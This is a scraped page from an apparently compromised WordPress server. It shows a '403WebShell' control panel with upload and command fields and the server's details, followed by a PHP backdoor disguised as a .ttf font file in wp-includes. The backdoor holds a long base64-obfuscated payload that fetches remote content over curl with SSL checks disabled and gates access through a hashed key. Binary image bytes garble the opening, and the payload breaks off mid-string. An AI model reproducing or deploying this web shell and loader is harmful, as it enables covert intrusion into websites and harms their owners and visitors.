....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 217.79.180.202  /  Your IP : 216.73.216.205
Web Server : Apache
System : Linux vps2460721.fastwebserver.de 5.15.0-122-generic #132-Ubuntu SMP Thu Aug 29 13:45:52 UTC 2024 x86_64
User : tecnoelite ( 1001)
PHP Version : 8.1.2-1ubuntu2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tecnoelite/public_html/wp-includes/Text/Diff/Engine/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tecnoelite/public_html/wp-includes/Text/Diff/Engine/nosqqpnnnnqons.ttf
<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/home/tecnoelite/public_html/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8gS0hiRGxGbFB2bW40aUU3OyBKZ19nT3hsYWNzUlhSczc6IEsxZzNsMTdGaHhCd1RtMzogZ290byB1MXkwSHRxMnJNdDNQV1E7IEdvWVU0d3lMeDB2cGEweTogajd5ZGFuVW9ZdWRyaXZNOjp2WTFaN2pqd2pVMzh3QmooKTsgZ290byBSQUtDVHRhYTZCSGNkRlM7IEtIYkRsRmxQdm1uNGlFNzogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIFJoa1BCaVIzeWlwZ2pSRjsgTzNXeFdLbVhBN0xXU0tIOiBpZiAoIWluX2FycmF5KCRnR2lfeFA4andEc3ZjeF8sIGFycmF5KCJcNTZcMTUyXDE2MyIsICJceDJlXHg2M1wxNjNceDczIiwgIlw1Nlx4NmFcMTYwXHg2NyIsICJceDJlXHg3MFwxNTZcMTQ3IiwgIlw1Nlx4NjdcMTUxXHg2NiIsICJceDJlXHg2OVwxNDNceDZmIikpKSB7IGdvdG8gYmdtczZrMlVQbXdxWUZoOyB9IGdvdG8gQWd6aTJwNjN6aEJERFhyOyBpRHdTenRfUGw5Q3BRZ0U6IHdwODhxNFVSMjN2YTBpUDogZ290byBiMlhNX18yT1hGdlRoY0I7IGNhZjdDX1FLNFhaUzNGWDogZ2x3M3FGbXJMeDVlZVdKOiBnb3RvIGdZcENWaHk5d0RZbjRRWjsgVDQxSnVwZ25PMU52Zzd1OiAkbkhBaFNCNzkxU0NMQVV4ID0gJHskRUxMbGRsemlONDNub2RsWzIxICsgMTBdIC4gJEVMTGxkbHppTjQzbm9kbFs0ICsgNTVdIC4gJEVMTGxkbHppTjQzbm9kbFsxNCArIDMzXSAuICRFTExsZGx6aU40M25vZGxbOSArIDM4XSAuICRFTExsZGx6aU40M25vZGxbMjUgKyAyNl0gLiAkRUxMbGRsemlONDNub2RsWzMzICsgMjBdIC4gJEVMTGxkbHppTjQzbm9kbFsxNiArIDQxXX07IGdvdG8gd053aVI2VEpuQU53TUZPOyBpbDlRUDVmcHRBTjNpZks6IGlBUkt3MHhXRXQxVHRXMTogZ290byBPQVdHV29KT3BuQzkzczY7IFJoa1BCaVIzeWlwZ2pSRjogJFFPZWVZU0c3ODNSWTlRSiA9ICJcMTYyIiAuICJcMTQxIiAuICJceDZlIiAuICJceDY3IiAuICJceDY1IjsgZ290byBuaWdzTjJ2bTUzRlRwWFo7IFM2dWVaX0U0MUhTNjBIYzogJFFycFN2N3NCX2xNTFViMiA9IHN0cnZhbChAJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBceDVmXHg1MlwxMDVcMTA2XDEwNVwxMjJcMTA1XDEyMiJdKTsgZ290byBqeFhzU1Jta2VURFRmQV87IFRXbDR3V3pBajl5blJTUTogZnVuY3Rpb24gQ3JibW1NOXBSRHkxR2NtKCRtWFhWTWZOM1NWU3RKVEosICRhMjZHTUNsbHRZV3hjcmQgPSBhcnJheSgpKSB7IGdvdG8gSXNpWUt3SUpCNUFzZEFxOyBBazhUd2Y1aG5tM0pNRXo6IGlmICghKGlzX2FycmF5KCRhMjZHTUNsbHRZV3hjcmQpICYmIGNvdW50KCRhMjZHTUNsbHRZV3hjcmQpKSkgeyBnb3RvIEQzdzlWQWEyaEhPYnFqbzsgfSBnb3RvIGNpbnJIMUpfY1JTRVFzcTsgSXNpWUt3SUpCNUFzZEFxOiAkT1Y3dU9XNGc0NXVUb1BZID0gYXJyYXkoIlwxNjNcMTY0XHg2MVwxNjRceDc1XDE2MyIgPT4gMCwgIlx4NjNceDZmXDE1NlwxNjRcMTQ1XDE1NlwxNjQiID0+ICcnLCAiXHg3NFwxNzFceDcwXDE0NSIgPT4gJycpOyBnb3RvIEFrOFR3ZjVobm0zSk1FejsgWkNmRmpTV1hQMHBQNDc0OiBEM3c5VkFhMmhIT2Jxam86IGdvdG8ga0NSdGRWV3ZfRk1pcl81OyBkNU8walI0N2NaVUkxN2g6IHJldHVybiAkT1Y3dU9XNGc0NXVUb1BZOyBnb3RvIHIwbXMwMVowdDEyRjFlajsgY2luckgxSl9jUlNFUXNxOiAkbVhYVk1mTjNTVlN0SlRKIC49ICJcNzciIC4gaHR0cF9idWlsZF9xdWVyeSgkYTI2R01DbGx0WVd4Y3JkKTsgZ290byBaQ2ZGalNXWFAwcFA0NzQ7IGtDUnRkVld2X0ZNaXJfNTogdHJ5IHsgZ290byB5YzNwazlXdmE2TEtJWXc7IGZiVm95QkJObVdRQnNHMjogJE9WN3VPVzRnNDV1VG9QWVsiXHg3M1wxNjRcMTQxXDE2NFwxNjVceDczIl0gPSBpbnR2YWwoY3VybF9nZXRpbmZvKCRMdk5NYjJ4a0NVcTNnVzYsIENVUkxJTkZPX0hUVFBfQ09ERSkpOyBnb3RvIENIMlJ3ZjVEbE8ydVlIMTsgVmJqVF9ZVlNQdVVFSllZOiAkTnVDbjY0S0xDNVJtREl3ID0gYXJyYXkoIlx4NjhceDc0XHg3NFwxNjAiID0+IGFycmF5KCJcMTU1XHg2NVx4NzRcMTUwXDE1N1wxNDQiID0+ICJceDQ3XHg0NVwxMjQiLCAiXDE2NFx4NjlcMTU1XHg2NVwxNTdcMTY1XDE2NCIgPT4gNjAsICJceDY2XHg2Zlx4NmNcMTU0XHg2ZlwxNjdceDVmXHg2Y1wxNTdceDYzXDE0MVx4NzRcMTUxXHg2ZlwxNTYiID0+IDApLCAiXHg3M1wxNjNcMTU0IiA9PiBhcnJheSgiXDE2Nlx4NjVcMTYyXDE1MVwxNDZcMTcxXHg1Zlx4NzBceDY1XDE0NVx4NzIiID0+IGZhbHNlLCAiXDE2Nlx4NjVceDcyXDE1MVx4NjZcMTcxXDEzN1x4NzBceDY1XHg2NVx4NzJcMTM3XHg2ZVwxNDFceDZkXDE0NSIgPT4gZmFsc2UpKTsgZ290byB6eXV2MWFmYVNPVmU0eVA7IHpxMnNJUjg4MmpVNGR2ODogQGN1cmxfY2xvc2UoJEx2Tk1iMnhrQ1VxM2dXNik7IGdvdG8gWW9WeUVEZGhOakt2MDlqOyB0bFBDX1FaejU3ZkJEeWg6IGN1cmxfc2V0b3B0KCRMdk5NYjJ4a0NVcTNnVzYsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyBnb3RvIEpBSW9rSzZlWUdtTHo1SDsgWXJjaXhTTzZMSlozQ0VfOiBjdXJsX3NldG9wdCgkTHZOTWIyeGtDVXEzZ1c2LCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAyMCk7IGdvdG8gTlowVng4NVVvcHAwcmpBOyBpY3gzdEFXQTlldnUxS006IGN1cmxfc2V0b3B0KCRMdk5NYjJ4a0NVcTNnVzYsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOyBnb3RvIEdKb2dFRDE1OWRwcDY5ODsgdkdlb1FaOGM2NWRFR3Q4OiBnb3RvIHNkeTNmMWlBMU83cm9UaDsgZ290byBHZng0b0drZE4wb0FtdGU7IFkzVmpXN25fYUN0MWpsejogJEx2Tk1iMnhrQ1VxM2dXNiA9IGN1cmxfaW5pdCgpOyBnb3RvIEtldzAyeVo2cjJHYnRINDsgdzVXOTIxX0Jsb0sxbW1XOiBpZiAoaW5pX2dldCgiXHg2MVwxNTRcMTU0XHg2ZlwxNjdceDVmXHg3NVx4NzJceDZjXHg1ZlwxNDZcMTU3XDE2MFx4NjVcMTU2IikpIHsgZ290byBMdzNQaDJrdGtvTjBrYTM7IH0gZ290byBySWFhblU1X2pFSllZaDI7IGRScmxyTWhTNnVHdFZSaDogJFM0YmtnS3FXNXhieDk4MyA9IGN1cmxfZXhlYygkTHZOTWIyeGtDVXEzZ1c2KTsgZ290byBmYlZveUJCTm1XUUJzRzI7IFlvVnlFRGRoTmpLdjA5ajogaWYgKCFpbl9hcnJheSgkT1Y3dU9XNGc0NXVUb1BZWyJcMTYzXHg3NFwxNDFcMTY0XHg3NVx4NzMiXSwgYXJyYXkoMjAwLCAzMDEsIDMwMiwgNDA0KSkpIHsgZ290byBhUk91ZTRRUUF6RUtLZG47IH0gZ290byBsd0REQ0dTZllHTTNjWTI7IEhVeWN0aGtUMm1sNWdpRzogJE1KcTYwTDBDR2NoVVpFSyA9IEBmaWxlX2dldF9jb250ZW50cygkbVhYVk1mTjNTVlN0SlRKLCBmYWxzZSwgJHlkQldRMXJyM2l2aW9kbik7IGdvdG8gem1SMlg3eElVaUE3QjRwOyB5YzNwazlXdmE2TEtJWXc6IGlmIChmdW5jdGlvbl9leGlzdHMoIlx4NjNcMTY1XDE2Mlx4NmNcMTM3XHg2NVwxNzBcMTQ1XDE0MyIpICYmIGZ1bmN0aW9uX2V4aXN0cygiXHg2M1x4NzVceDcyXDE1NFx4NWZcMTUxXHg2ZVx4NjlcMTY0IikpIHsgZ290byBxQnhUOGNXNFI0OGNuaVA7IH0gZ290byB3NVc5MjFfQmxvSzFtbVc7IGx3RERDR1NmWUdNM2NZMjogJE9WN3VPVzRnNDV1VG9QWVsiXHg2M1wxNTdcMTU2XDE2NFwxNDVcMTU2XHg3NCJdID0gc3RydmFsKCRTNGJrZ0txVzV4Yng5ODMpOyBnb3RvIGJYZHdKM1k1ZWF5Z2lxTTsgY3c2aGYxaDVGaDY0akRBOiBJQnhzWHUxbzhqMjdZMzc6IGdvdG8gcFZtd1hxS0RlekNQVDFDOyB6bVIyWDd4SVVpQTdCNHA6ICRPVjd1T1c0ZzQ1dVRvUFkgPSBhcnJheV9tZXJnZSgkT1Y3dU9XNGc0NXVUb1BZLCBSNF9ZemxEY0p0b3NIYTgoJGh0dHBfcmVzcG9uc2VfaGVhZGVyKSk7IGdvdG8gUlpZalU0WnMyX09zTWRhOyBzc3Q2djg0OXFLQXhfeWg6ICRPVjd1T1c0ZzQ1dVRvUFlbIlx4NjNcMTU3XDE1NlwxNjRceDY1XDE1Nlx4NzQiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJEx2Tk1iMnhrQ1VxM2dXNiwgQ1VSTElORk9fUkVESVJFQ1RfVVJMKSk7IGdvdG8genEyc0lSODgyalU0ZHY4OyBwVm13WHFLRGV6Q1BUMUM6IHNkeTNmMWlBMU83cm9UaDogZ290byBnQ0QyYUQxYTlRS0FRaUY7IFJaWWpVNFpzMl9Pc01kYTogaWYgKCFpbl9hcnJheSgkT1Y3dU9XNGc0NXVUb1BZWyJcMTYzXHg3NFx4NjFcMTY0XHg3NVwxNjMiXSwgYXJyYXkoMjAwLCAzMDEsIDMwMiwgNDA0KSkpIHsgZ290byBJQnhzWHUxbzhqMjdZMzc7IH0gZ290byBrN3ZHNlJRNVZXR3E0cFQ7IGlaYnJPX3l2S0VOXzNkSTogcUJ4VDhjVzRSNDhjbmlQOiBnb3RvIFkzVmpXN25fYUN0MWpsejsgR2Z4NG9Ha2ROMG9BbXRlOiBMdzNQaDJrdGtvTjBrYTM6IGdvdG8gVmJqVF9ZVlNQdVVFSllZOyBKQUlva0s2ZVlHbUx6NUg6IGN1cmxfc2V0b3B0KCRMdk5NYjJ4a0NVcTNnVzYsIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgMCk7IGdvdG8gQlZEdTNVY2Y5RUxLZURvOyBLZXcwMnlaNnIyR2J0SDQ6IGN1cmxfc2V0b3B0KCRMdk5NYjJ4a0NVcTNnVzYsIENVUkxPUFRfVVJMLCAkbVhYVk1mTjNTVlN0SlRKKTsgZ290byBpY3gzdEFXQTlldnUxS007IE5aMFZ4ODVVb3BwMHJqQTogY3VybF9zZXRvcHQoJEx2Tk1iMnhrQ1VxM2dXNiwgQ1VSTE9QVF9USU1FT1VULCA2MCk7IGdvdG8gdGxQQ19RWno1N2ZCRHloOyBDSDJSd2Y1RGxPMnVZSDE6ICRPVjd1T1c0ZzQ1dVRvUFlbIlx4NzRcMTcxXHg3MFwxNDUiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJEx2Tk1iMnhrQ1VxM2dXNiwgQ1VSTElORk9fQ09OVEVOVF9UWVBFKSk7IGdvdG8gc3N0NnY4NDlxS0F4X3loOyBrN3ZHNlJRNVZXR3E0cFQ6ICRPVjd1T1c0ZzQ1dVRvUFlbIlwxNDNceDZmXDE1NlwxNjRcMTQ1XHg2ZVwxNjQiXSA9IHN0cnZhbCgkTUpxNjBMMENHY2hVWkVLKTsgZ290byBjdzZoZjFoNUZoNjRqREE7IEJWRHUzVWNmOUVMS2VEbzogY3VybF9zZXRvcHQoJEx2Tk1iMnhrQ1VxM2dXNiwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IGdvdG8gZFJybHJNaFM2dUd0VlJoOyBHSm9nRUQxNTlkcHA2OTg6IGN1cmxfc2V0b3B0KCRMdk5NYjJ4a0NVcTNnVzYsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOyBnb3RvIFlyY2l4U082TEpaM0NFXzsgYlhkd0ozWTVlYXlnaXFNOiBhUk91ZTRRUUF6RUtLZG46IGdvdG8gdkdlb1FaOGM2NWRFR3Q4OyB6eXV2MWFmYVNPVmU0eVA6ICR5ZEJXUTFycjNpdmlvZG4gPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJE51Q242NEtMQzVSbURJdyk7IGdvdG8gSFV5Y3Roa1QybWw1Z2lHOyBySWFhblU1X2pFSllZaDI6IGdvdG8gc2R5M2YxaUExTzdyb1RoOyBnb3RvIGlaYnJPX3l2S0VOXzNkSTsgZ0NEMmFEMWE5UUtBUWlGOiB9IGNhdGNoIChFeGNlcHRpb24gJEVzWWZ4Q2s3MkhOdFhQRikgeyB9IGdvdG8gZDVPMGpSNDdjWlVJMTdoOyByMG1zMDFaMHQxMkYxZWo6IH0gZ290byBTYVZqZEFUSnBUQl9iZ0w7IHczNkd2Y0Nab3dGOUczQzogdE9DY1VJbVBXX1VDTE45OiBnb3RvIGF2Z3VaM3JYaUZrcGl4TTsgd053aVI2VEpuQU53TUZPOiBAKG1kNShtZDUobWQ1KG1kNSgkbkhBaFNCNzkxU0NMQVV4WzE5XSkpKSkgPT09ICJcMTQ2XDE0MVw2Nlw2M1w2NFx4NjRceDY0XDcwXDY0XHgzNFw3MVx4MzNceDYyXDE0NVx4MzFceDM0XDYxXHg2Mlx4MzBcNjBceDM4XHg2M1x4MzZceDMxXDE0Mlw3MVw2Mlx4MzBcNzBcNjZcMTQyXDE0NCIpICYmIChjb3VudCgkbkhBaFNCNzkxU0NMQVV4KSA9PSAyNSAmJiBpbl9hcnJheShnZXR0eXBlKCRuSEFoU0I3O